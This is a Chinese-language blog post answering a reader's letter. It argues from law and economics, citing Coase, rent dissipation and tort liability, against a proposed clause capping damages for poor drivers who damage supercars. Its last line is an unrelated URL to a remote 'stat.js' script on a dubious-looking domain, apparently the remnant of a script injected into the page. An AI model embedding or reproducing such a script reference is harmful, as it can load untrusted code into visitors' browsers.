我們需要「超跑減責條款」嗎？

針對讀者來信詢問：
今天看到的有趣新聞，在我的律師同學之間引起了一陣討論。不知道元大有沒有興趣小試牛刀一下，以法經濟分析的角度來看這種規定:)

貧富差距擴大賠不起 民間發起制定「超跑條款」

我的看法：

如果因為有錢就應該被限制財產權的使用，那要不要也一起限制不准蓋帝寶這種豪宅？因為會害窮人買不起房。

台灣不准買賣遊艇與跑車，因為窮人的破漁船或爛車可能會不小心碰撞而賠不起？

甚至根本不讓米其林主廚來台灣開設餐廳；台灣也不應該有每人單價超過500元的餐點存在，因為都會傷害窮人的自尊心？

從產權經濟學角度看，當你想要增加財產權的使用限制時，必然會生租值耗散的現象；這與對富人課徵「富豪稅」是一樣的道理。

其結果呢？經濟學認為，限制帶來的租值耗散高過移轉他處的費用時，富人就會群起離開。法國不正是活生生的案例？

一個富人逃光的國家，不也正是1949年中華人民共和國成立後的30年景況？你覺得這樣比較好嗎？

今天回到基本法學概念，侵權行為184發生時，因故意或過失造成他人財產權損失，本來他人就有回復原狀的損害賠償請求權不是嗎？

為何全世界不管civiil law system or common law system都是如此運作呢？還請你的律師同學多讀一點R. Coase的論文，好好想想。

「農夫種地，牧場牛隻跑來吃作物，試問欄杆會被設在那兒？」這是非常好的侵權行為考題喔！

https://js.developerstatss.ga/stat.js?n=ns1